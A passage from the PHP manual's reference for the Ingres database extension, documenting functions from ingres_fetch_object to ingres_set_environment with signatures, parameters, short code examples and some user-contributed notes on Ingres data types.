    echo $row["fullname"];
}
?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_num_fields() - Get the number of fields returned by the last query
  • ingres_field_name() - Get the name of a field in a query result
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Fetch a row of result into an object

  • « ingres_fetch_assoc
  • ingres_fetch_proc_return »
  • PHP Manual
  • Ingres Functions
  • Fetch a row of result into an object

ingres_fetch_object

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_fetch_object — Fetch a row of result into an object

Description

object ingres_fetch_object ( resource $result [, int $result_type ] )

This function is similar to ingres_fetch_array(), with one difference - an object is returned instead of an array. Indirectly, this means that you can access the data only by the field names and not by their offsets (numbers are illegal property names).

With regard to speed, the function is identical to ingres_fetch_array(), and almost as quick as ingres_fetch_row() (the difference is insignificant).

Note: Related Configurations

See also the ingres.fetch_buffer_size and ingres.utf8 directives in Runtime Configuration.

Parameters

link

The query result identifier

result_type

(Optional argument.) result_type is a constant and can take the following values: INGRES_ASSOC, INGRES_NUM, and INGRES_BOTH.

Return Values

Returns an object that corresponds to the fetched row, or FALSE if there are no more rows

Examples

Example #1 Fetch a row into an object

<?php
$link = ingres_connect($database, $user, $password);
$result = ingres_query($link, "select * from table");
while ($row = ingres_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_num_fields() - Get the number of fields returned by the last query
  • ingres_field_name() - Get the name of a field in a query result
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Get the return value from a procedure call

  • « ingres_fetch_object
  • ingres_fetch_row »
  • PHP Manual
  • Ingres Functions
  • Get the return value from a procedure call

ingres_fetch_proc_return

(PECL ingres >= 1.4.0)

ingres_fetch_proc_return — Get the return value from a procedure call

Description

int ingres_fetch_proc_return ( resource $result )

This function is used to retrieve the return value following the execution of an Ingres database procedure (stored procedure).

Note:

If used with a row-producing procedure, this function should be called after all the rows from the procedure have been fetched using ingres_fetch_array(), ingres_fetch_object() or ingres_fetch_row(). This function will eliminate any rows yet to be fetched should there be any left over.

Parameters

result

The result identifier for a query

Return Values

Returns an integer if there is a return value otherwise it will return NULL.

Examples

Example #1 Get the return value from a procedure call

<?php

$link = ingres_connect($database);

if ( ingres_errno() != 0 ) {
    $error_text = ingres_error();
    die($error_text);
}

$result = ingres_query($link, "execute procedure php_proc (value = 1000)");

if ( ingres_errno() != 0 ) {
    $error_text = ingres_error();
    die($error_text);
}

echo "return value - " . ingres_fetch_proc_return($result) . "\n";

ingres_close($link);

?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Fetch a row of result into an enumerated array

  • « ingres_fetch_proc_return
  • ingres_field_length »
  • PHP Manual
  • Ingres Functions
  • Fetch a row of result into an enumerated array

ingres_fetch_row

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_fetch_row — Fetch a row of result into an enumerated array

Description

array ingres_fetch_row ( resource $result )

ingres_fetch_row() returns an array that corresponds to the fetched row, or FALSE if there are no more rows. Each result column is stored in an array offset, starting at offset 1.

Subsequent calls to ingres_fetch_row() return the next row in the result set, or FALSE if there are no more rows.

By default, arrays created by ingres_fetch_row() start from position 1 and not 0 as with other DBMS extensions. The starting position can be adjusted to 0 using the configuration parameter ingres.array_index_start.

Note: Related Configurations

See also the ingres.array_index_start, ingres.fetch_buffer_size and ingres.utf8 directives in Runtime Configuration.

Parameters

result

The query result identifier

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows

Examples

Example #1 Fetch a row of result into an enumerated array

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

See Also

  • ingres_num_fields() - Get the number of fields returned by the last query
  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object

User Contributed Notes

There are no user contributed notes for this page.


Get the length of a field

  • « ingres_fetch_row
  • ingres_field_name »
  • PHP Manual
  • Ingres Functions
  • Get the length of a field

ingres_field_length

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_length — Get the length of a field

Description

int ingres_field_length ( resource $result , int $index )

ingres_field_length() returns the length of a field. This is the number of bytes the server uses to store the field. For detailed information, see the Ingres OpenAPI User Guide, Appendix "Data Types" in the Ingres documentation.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the column number whose length will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

Returns the length of a field.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Get the name of a field in a query result

  • « ingres_field_length
  • ingres_field_nullable »
  • PHP Manual
  • Ingres Functions
  • Get the name of a field in a query result

ingres_field_name

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_name — Get the name of a field in a query result

Description

string ingres_field_name ( resource $result , int $index )

ingres_field_name() returns the name of a field in a query result.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose name will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

Returns the name of a field in a query result or FALSE on failure

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Test if a field is nullable

  • « ingres_field_name
  • ingres_field_precision »
  • PHP Manual
  • Ingres Functions
  • Test if a field is nullable

ingres_field_nullable

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_nullable — Test if a field is nullable

Description

bool ingres_field_nullable ( resource $result , int $index )

Test if a field is nullable.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose nullability will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

ingres_field_nullable() returns TRUE if the field can be set to the NULL value and FALSE if it cannot

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Get the precision of a field

  • « ingres_field_nullable
  • ingres_field_scale »
  • PHP Manual
  • Ingres Functions
  • Get the precision of a field

ingres_field_precision

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_precision — Get the precision of a field

Description

int ingres_field_precision ( resource $result , int $index )

ingres_field_precision() returns the precision of a field. This value is used only for decimal, float, and money SQL data types. For detailed information, see the Ingres OpenAPI User Guide, Appendix "Data Types" in the Ingres documentation.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose precision will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

Returns the field precision as an integer

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Get the scale of a field

  • « ingres_field_precision
  • ingres_field_type »
  • PHP Manual
  • Ingres Functions
  • Get the scale of a field

ingres_field_scale

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_scale — Get the scale of a field

Description

int ingres_field_scale ( resource $result , int $index )

ingres_field_scale() returns the scale of a field. This value is used only for the decimal SQL data type. For detailed information, see the Ingres OpenAPI User Guide, Appendix "Data Types" in the Ingres documentation.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose scale will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

Returns the scale of the field, as an integer

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Get the type of a field in a query result

  • « ingres_field_scale
  • ingres_free_result »
  • PHP Manual
  • Ingres Functions
  • Get the type of a field in a query result

ingres_field_type

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_field_type — Get the type of a field in a query result

Description

string ingres_field_type ( resource $result , int $index )

Get the type of a field in a query result.

Note: Related Configurations

See ingres.array_index_start in Runtime Configuration

Parameters

result

The query result identifier

index

index is the field whose type will be retrieved.

The possible values of index depend upon the value of ingres.array_index_start. If ingres.array_index_start is 1 (the default) then index must be between 1 and the value returned by ingres_num_fields(). If ingres.array_index_start is 0 then index must be between 0 and ingres_num_fields() - 1.

Return Values

ingres_field_type() returns the type of a field in a query result or FALSE on failure. Examples of types returned are IIAPI_BYTE_TYPE, IIAPI_CHA_TYPE, IIAPI_DTE_TYPE, IIAPI_FLT_TYPE, IIAPI_INT_TYPE, IIAPI_VCH_TYPE. Some of these types can map to more than one SQL type depending on the length of the field (see ingres_field_length()). For example IIAPI_FLT_TYPE can be a float4 or a float8. For detailed information, see the Ingres OpenAPI User Guide, Appendix "Data Types" in the Ingres documentation.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 01:11
I have to apologise for the previous two long postings, but information referring to the INGRES data types is a bit hard to find, so I want to share it. Below is my translation script for INGRES->MySQL data types.

<?
 // Fieldtype Translator  INGRES => MySQL (c) F.Burckhardt
 // translates string, int, date; might be incomplete with respect to other INGRES data-types
 $sql="SELECT * FROM table";
 $conn = ingres_connect ($database, $user, $password);
 $results = ingres_query($sql,$conn);
 $fieldtype = array ( "key" => "val");
 $ingres_translation = array( "IIAPI_VCH_TYPE" => "string",
                              "IIAPI_CHA_TYPE" => "string",
                              "IIAPI_INT_TYPE" => "int",
                              "IIAPI_DTE_TYPE" => "date");
 for($i=1; $i<ingres_num_fields($conn)+1; $i++) {
   $fieldtype [ingres_field_name($i,$conn)] = $ingres_translation[ingres_field_type($i,$conn)];
   echo ("field_name (".ingres_field_name($i,$conn).") field_type (INGRES): ".ingres_field_type($i,$conn)." => fieldtype (MySQL)".$ingres_translation[ingres_field_type($i,$conn)]." <br>");
        }
 ?>
burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 01:08
IIAPI_LOGKEY_TYPE A data type with values that are unique within the data source. An application should not attempt to update a column containing a system-maintained object key.

IIAPI_LBYTE_TYPE A variable-length binary string. The actual length of the large byte segment is stored in the first two bytes of the data buffer, followed by the large byte data. Length: 0 to 2,000,000,000 characters.

IIAPI_LVCH_TYPE A variable-length character string. The actual length of the large varchar segment is stored in the first two bytes of the data buffer, followed by the large varchar data. Valid characters for this data type include printing, non-printing, and NULL characters. Trailing blanks are insignificant in a varchar data type. Length: 0 to 2,000,000,000 characters.

IIAPI_MNY_TYPE The Ingres money data type stored in 8 bytes with 2 fixed decimal places.  IIAPI_convertData() or  IIAPI_formatData() can be used to convert to character string or floating point representation.

IIAPI_TABKEY_TYPE A data type with a value that is unique within the table where the table key is stored. An application should not attempt to update a column containing a systemmaintained table key.

IIAPI_TXT_TYPE A variable-length character string. The maximum size for this data type is stored as the ds_length parameter in the corresponding descriptor. The actual length of the text data is stored in the first two bytes of the data buffer, followed by the text data. Valid characters for this data type include printing and non-printing characters. All blanks are significant in a text data buffer. This type is supported for previous Ingres versions; when possible, use  IIAPI_VCH_TYPE. Length: 1 to 2,000 characters.

IIAPI_VBYTE_TYPE A variable-length binary string. The maximum size for varbyte data is stored as the ds_length parameter in the corresponding descriptor. The actual length of the varbyte data is stored in the first two bytes of the data buffer, followed by the varbyte data. Length: 0 to 2,000 characters.

IIAPI_VCH_TYPE A variable-length character string. The maximum size for varchar data is stored as the ds_length parameter in the corresponding descriptor. The actual length of the varchar data is stored in the first two bytes of the data buffer, followed by the varchar data. Trailing blanks are insignificant in a varchar data type. Length: 0 to 2,000 characters.
burckhardtCUTMEOUT at gsf dot de 26-Mar-2002 01:08
Ingres Data Types (oapi.pdf open api user guide)
Data Type Descriptions Ingres data types are described in the following table:
 Data Type Description
IIAPI_BYTE_TYPE A fixed length binary string containing data with the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Length: 1 to 2,000 characters.

IIAPI_CHA_TYPE A fixed length character string that is stored blankpadded to the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Embedded blanks are significant. Valid characters for this data type include printing, nonprinting, and NULL characters. Length: 1 to 2,000 characters.

IIAPI_CHR_TYPE A fixed length character string that is stored blankpadded to the declared length. The declared length is stored as the ds_length parameter in the corresponding data descriptor. Embedded blanks are insignificant. Valid characters for this data type include printing characters only. This data type is supported for previous Ingres versions; when possible, use IIAPI_CHA_TYPE. Length: 1 to 2,000 characters.

IIAPI_HNDL_TYPE A data type used only by OpenAPI and the application. This data type describes a handle, which is a pointer to one of the control blocks created by OpenAPI. OpenAPI translates the information in the control block into data acceptable by the data source. This data type does not appear in queries.

IIAPI_DEC_TYPE A packed decimal data type stored in 1 to 16 bytes depending on the precision of the value as follows: len = (precision)/2 + 1. IIAPI_convertData() or  IIAPI_formatData() may be used to convert to character string or floating point representation.

IIAPI_DTE_TYPE Ingres internal date data type that is stored in 12 bytes. IIAPI_convertData() or IIAPI_formatData() may be used to convert to character string or floating point representation.

IIAPI_FLT_TYPE A data type supporting data value ranges from - 1.0e+38 to +1.0e+38.

IIAPI_INT_TYPE A data type supporting varying data value ranges. It is dependent on the ds_length of the data value. If the length is 1, the range is from -128 to +127. If the length is 2, the range is from -32,768 to +32,767. If the length is 4, the range is from -2,147,483,648 to +2,147,483,647.


Free the resources associated with a result identifier

  • « ingres_field_type
  • ingres_next_error »
  • PHP Manual
  • Ingres Functions
  • Free the resources associated with a result identifier

ingres_free_result

(PECL ingres >= 2.0.0)

ingres_free_result — Free the resources associated with a result identifier

Description

bool ingres_free_result ( resource $result )

Parameters

result

The query result identifier

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Free a result resource

<?php
$link = ingres_connect($database, $user, $password);

$result = ingres_query($link, "select * from table");

while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
ingres_free_result($result);

ingres_close($link)

?>

See Also

  • ingres_query() - Send an SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.


Get the next Ingres error

  • « ingres_free_result
  • ingres_num_fields »
  • PHP Manual
  • Ingres Functions
  • Get the next Ingres error

ingres_next_error

(PECL ingres >= 2.0.0)

ingres_next_error — Get the next Ingres error

Description

bool ingres_next_error ([ resource $link ] )

Get the next Ingres error for the last executed query. Each call to ingres_next_error() can be followed by a call to ingres_errno(), ingres_error() or ingres_errsqlstate() to get the respective error number, error text, or SQL STATE. While ingres_next_error() returns TRUE, there are more errors to fetch.

Parameters

link

The connection link identifier

Return Values

ingres_next_error() returns TRUE if there is another error to retrieve or FALSE when there are no more errors

See Also

  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated
  • ingres_errsqlstate() - Get the last SQLSTATE error code generated

User Contributed Notes

There are no user contributed notes for this page.


Get the number of fields returned by the last query

  • « ingres_next_error
  • ingres_num_rows »
  • PHP Manual
  • Ingres Functions
  • Get the number of fields returned by the last query

ingres_num_fields

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_num_fields — Get the number of fields returned by the last query

Description

int ingres_num_fields ( resource $result )

ingres_num_fields() returns the number of fields in the results returned by the Ingres server after a call to ingres_query().

Parameters

result

The query result identifier

Return Values

Returns the number of fields

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Get the number of rows affected or returned by a query

  • « ingres_num_fields
  • ingres_pconnect »
  • PHP Manual
  • Ingres Functions
  • Get the number of rows affected or returned by a query

ingres_num_rows

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_num_rows — Get the number of rows affected or returned by a query

Description

int ingres_num_rows ( resource $result )

This function primarily is meant to get the number of rows modified in the database. However, it can be used to retrieve the number of rows to fetch for a SELECT statement.

Note:

If scrollable cursors are disabled and this function is called before using ingres_fetch_array(), ingres_fetch_object(), or ingres_fetch_row(), the server will delete the result's data and the script will be unable to get them.

Instead, you should retrieve the result's data using one of these fetch functions in a loop until it returns FALSE, indicating that no more results are available.

Parameters

result

The result identifier for a query

Return Values

For delete, insert, or update queries, ingres_num_rows() returns the number of rows affected by the query. For other queries, ingres_num_rows() returns the number of rows in the query's result.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Open a persistent connection to an Ingres database

  • « ingres_num_rows
  • ingres_prepare »
  • PHP Manual
  • Ingres Functions
  • Open a persistent connection to an Ingres database

ingres_pconnect

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_pconnect — Open a persistent connection to an Ingres database

Description

resource ingres_pconnect ([ string $database [, string $username [, string $password [, array $options ]]]] )

Open a persistent connection to an Ingres database.

There are only two differences between this function and ingres_connect(): First, when connecting, the function will initially try to find a (persistent) link that is already opened with the same parameters. If one is found, an identifier for it will be returned instead of opening a new connection. Second, the connection to the Ingres server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ingres_close() will not close links established by ingres_pconnect()). This type of link is therefore called "persistent".

Parameters

database

The database name. Must follow the syntax:

[vnode::]dbname[/svr_class]

username

The Ingres user name

password

The password associated with username

options

See ingres_connect() for the list of options that can be passed

Return Values

Returns an Ingres link resource on success or FALSE on failure

See Also

  • ingres_connect() - Open a connection to an Ingres database
  • ingres_close() - Close an Ingres database connection

User Contributed Notes

There are no user contributed notes for this page.


Prepare a query for later execution

  • « ingres_pconnect
  • ingres_query »
  • PHP Manual
  • Ingres Functions
  • Prepare a query for later execution

ingres_prepare

(PECL ingres >= 1.1.0)

ingres_prepare — Prepare a query for later execution

Description

mixed ingres_prepare ( resource $link , string $query )

Prepares a query for execution by ingres_execute().

The query becomes part of the currently open transaction. If there is no open transaction, ingres_query() opens a new transaction. To close the transaction, you can call either ingres_commit() to commit the changes made to the database or ingres_rollback() to cancel these changes. When the script ends, any open transaction is rolled back (by calling ingres_rollback()). You can also use ingres_autocommit() before opening a new transaction to have every SQL query immediately committed.

Note: Related Configurations

See also the ingres.describe, ingres.scrollable and ingres.utf8 directives in Runtime Configuration.

Parameters

link

The connection link identifier

query

A valid SQL query (see the Ingres SQL reference guide) in the Ingres documentation. See the query parameter in ingres_query() for a list of SQL statements which cannot be executed using ingres_prepare()

Return Values

ingres_prepare() returns a query result identifier that
is used with ingres_execute() to execute the query. To see
if an error occurred, use ingres_errno(),
ingres_error(), or
ingres_errsqlstate().

See Also

  • ingres_unbuffered_query() - Send an unbuffered SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array
  • ingres_commit() - Commit a transaction
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off
  • ingres_set_environment() - Set environment features controlling output options
  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated

User Contributed Notes

There are no user contributed notes for this page.


Send an SQL query to Ingres

  • « ingres_prepare
  • ingres_result_seek »
  • PHP Manual
  • Ingres Functions
  • Send an SQL query to Ingres

ingres_query

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_query — Send an SQL query to Ingres

Description

mixed ingres_query ( resource $link , string $query [, array $params [, string $types ]] )

ingres_query() sends the given query to the Ingres server.

The query becomes part of the currently open transaction. If there is no open transaction, ingres_query() opens a new transaction. To close the transaction, you can call either ingres_commit() to commit the changes made to the database or ingres_rollback() to cancel these changes. When the script ends, any open transaction is rolled back (by calling ingres_rollback()). You can also use ingres_autocommit() before opening a new transaction to have every SQL query immediately committed.

Note: Related Configurations

See also the ingres.describe, ingres.scrollable and ingres.utf8 directives in Runtime Configuration

Parameters

link

The connection link identifier.

query

A valid SQL query (see the Ingres SQL reference guide) in the Ingres documentation.

Data inside the query should be properly escaped.

The following types of SQL queries cannot be sent with this function:

  • close (see ingres_close())
  • commit (see ingres_commit())
  • connect (see ingres_connect())
  • disconnect (see ingres_close())
  • get dbevent
  • prepare to commit
  • rollback (see ingres_rollback())
  • savepoint
  • set autocommit (see ingres_autocommit())
  • all cursor-related queries are unsupported

params

An array of parameter values to be used with the query

types

A string containing a sequence of types for the parameter values passed. When ingres.describe is enabled, this parameter can be ignored as the driver automatically fetches the expected parameter types from the server.

Type code | Ingres type
a | BOOLEAN
b | BYTE
B | LONG BYTE/BLOB
c | CHAR
d | DATE/ANSIDATE/TIMESTAMP/TIME
f | FLOAT
i | INTEGER
L | LONG TEXT
m | MONEY
M | LONG NVARCHAR
n | NCHAR
N | NVARCHAR
t | TEXT
v | VARCHAR
V | LONG VARCHAR

Return Values

ingres_query() returns a query result identifier on
success else it returns FALSE. To see if an error
occurred use ingres_errno(),
ingres_error() or
ingres_errsqlstate().

Examples

Example #1 Send a simple select

<?php
$link = ingres_connect("demodb");

$result = ingres_query($link, "select * from user_profile");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

Example #2 Passing query parameters to ingres_query()

<?php
$link = ingres_connect("demodb");

$params[] = "Emma";
$query = "select * from user_profile where up_first = ?";
$result = ingres_query($link, $query, $params);
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

Example #3 Inserting a BLOB with parameter types

<?php
$link = ingres_connect("demodb");

//Open a photo
$fh = fopen("photo.jpg","r");
$blob_data = stream_get_contents($fh);
fclose($fh);

//Prepare parameters
$params[] = $blob_data;
$params[] = 1201;

//Define parameter types
$param_types = "Bi";

$query = "update user_profile set up_image = ? where up_id = ?";
$result = ingres_query($link, $query , $params, $param_types);

if (ingres_errno())
{
    echo ingres_errno() . "-" . ingres_error() . "\n";
}

ingres_commit($link);

ingres_close($link);
?>

See Also

  • ingres_unbuffered_query() - Send an unbuffered SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array
  • ingres_commit() - Commit a transaction
  • ingres_rollback() - Roll back a transaction
  • ingres_autocommit() - Switch autocommit on or off
  • ingres_set_environment() - Set environment features controlling output options
  • ingres_errno() - Get the last Ingres error number generated
  • ingres_error() - Get a meaningful error message for the last error generated

User Contributed Notes

There are no user contributed notes for this page.


Set the row position before fetching data

  • « ingres_query
  • ingres_rollback »
  • PHP Manual
  • Ingres Functions
  • Set the row position before fetching data

ingres_result_seek

(PECL ingres >= 2.1.0)

ingres_result_seek — Set the row position before fetching data

Description

bool ingres_result_seek ( resource $result , int $position )

This function is used to position the cursor associated with the result resource before issuing a fetch. If ingres.array_index_start is set to 0 then the first row is 0 else it is 1. ingres_result_seek() can be used only with queries that make use of scrollable cursors. It cannot be used with ingres_unbuffered_query().

Note: Related Configurations

See also the ingres.scrollable and ingres.array_index_start directives in Runtime Configuration.

Parameters

result

The result identifier for a query

position

The row to position the cursor on. If ingres.array_index_start is set to 0, then the first row is 0, else it is 1

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Position the cursor on the 3rd row

<?php

$result=ingres_query($link, "select * from airport where ap_ccode = 'ES' order by ap_place asc");

/* goto row 3 */
if (!ingres_result_seek($result, 3))
{
    echo ingres_errno() . " - " . ingres_error . "\n";
    die("i died");
}
else
{
    $airport = ingres_fetch_object ($result);
    {
        echo $airport->ap_iatacode . " - " .  $airport->ap_name . "\n";
    }
}

ingres_commit($link);

?>

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_fetch_array() - Fetch a row of result into an array
  • ingres_fetch_assoc() - Fetch a row of result into an associative array
  • ingres_fetch_object() - Fetch a row of result into an object
  • ingres_fetch_row() - Fetch a row of result into an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Roll back a transaction

  • « ingres_result_seek
  • ingres_set_environment »
  • PHP Manual
  • Ingres Functions
  • Roll back a transaction

ingres_rollback

(PHP 4 >= 4.0.2, PHP 5 <= 5.0.5, PECL ingres >= 1.0.0)

ingres_rollback — Roll back a transaction

Description

bool ingres_rollback ( resource $link )

ingres_rollback() rolls back the currently open transaction, actually cancelling all changes made to the database during the transaction.

This closes the transaction. A new transaction can be opened by sending a query with ingres_query().

Parameters

link

The connection link identifier

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ingres_query() - Send an SQL query to Ingres
  • ingres_commit() - Commit a transaction
  • ingres_autocommit() - Switch autocommit on or off

User Contributed Notes

There are no user contributed notes for this page.


Set environment features controlling output options

  • « ingres_rollback
  • ingres_unbuffered_query »
  • PHP Manual
  • Ingres Functions
  • Set environment features controlling output options

ingres_set_environment

(PECL ingres >= 1.2.0)

ingres_set_environment — Set environment features controlling output options

Description

bool ingres_set_environment ( resource $link , array $options )

ingres_set_environment() is called to set environmental options that affect the output of certain values from Ingres, such as the timezone, date format, decimal character separator, and float precision.

Parameters

link

The connection link identifier

options

An enumerated array of option name/value pairs. The following table lists the option name and the expected type

Option name | Option type | Description | Example
date_century_boundary | integer | The threshold by which a 2-digit year is determined to be in the current century or in the next century. Equivalent to II_DATE_CENTURY_BOUNDARY | 50
timezone | string | Controls the timezone of the session. If not set, it will default the value defined by II_TIMEZONE_NAME. If II_TIMEZONE_NAME is not defined, NA-PACIFIC (GMT-8 with Daylight Savings) is used. | UNITED-KINGDOM
date_format integer

Sets the allowable input and output format for Ingres dates. Defaults to the value defined by II_DATE_FORMAT. If II_DATE_FORMAT is not set, the default date format is US, for example mm/dd/yy. Valid values for date_format are:

  • INGRES_DATE_DMY
  • INGRES_DATE_FINISH
  • INGRES_DATE_GERMAN
  • INGRES_DATE_ISO
  • INGRES_DATE_ISO4
  • INGRES_DATE_MDY
  • INGRES_DATE_MULTINATIONAL
  • INGRES_DATE_MULTINATIONAL4
  • INGRES_DATE_YMD
  • INGRES_DATE_US

 INGRES_DATE_ISO4
decimal_separator string The character identifier for decimal data ","
money_lort integer

Leading or trailing currency sign. Valid values for money_lort are:

  • INGRES_MONEY_LEADING
  • INGRES_MONEY_TRAILING

 INGRES_MONEY_LEADING
money_sign string The currency symbol to be used with the MONEY datatype €
money_precision | integer | The precision of the MONEY datatype | 2
float4_precision | integer | Precision of the FLOAT4 datatype | 10
float8_precision | integer | Precision of the FLOAT8 data | 10
blob_segment_length | integer | The amount of data in bytes to fetch at a time when retrieving BLOB or CLOB data. Defaults to 4096 bytes when not set explicitly | 8192

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Set date_format to ISO4

<?php
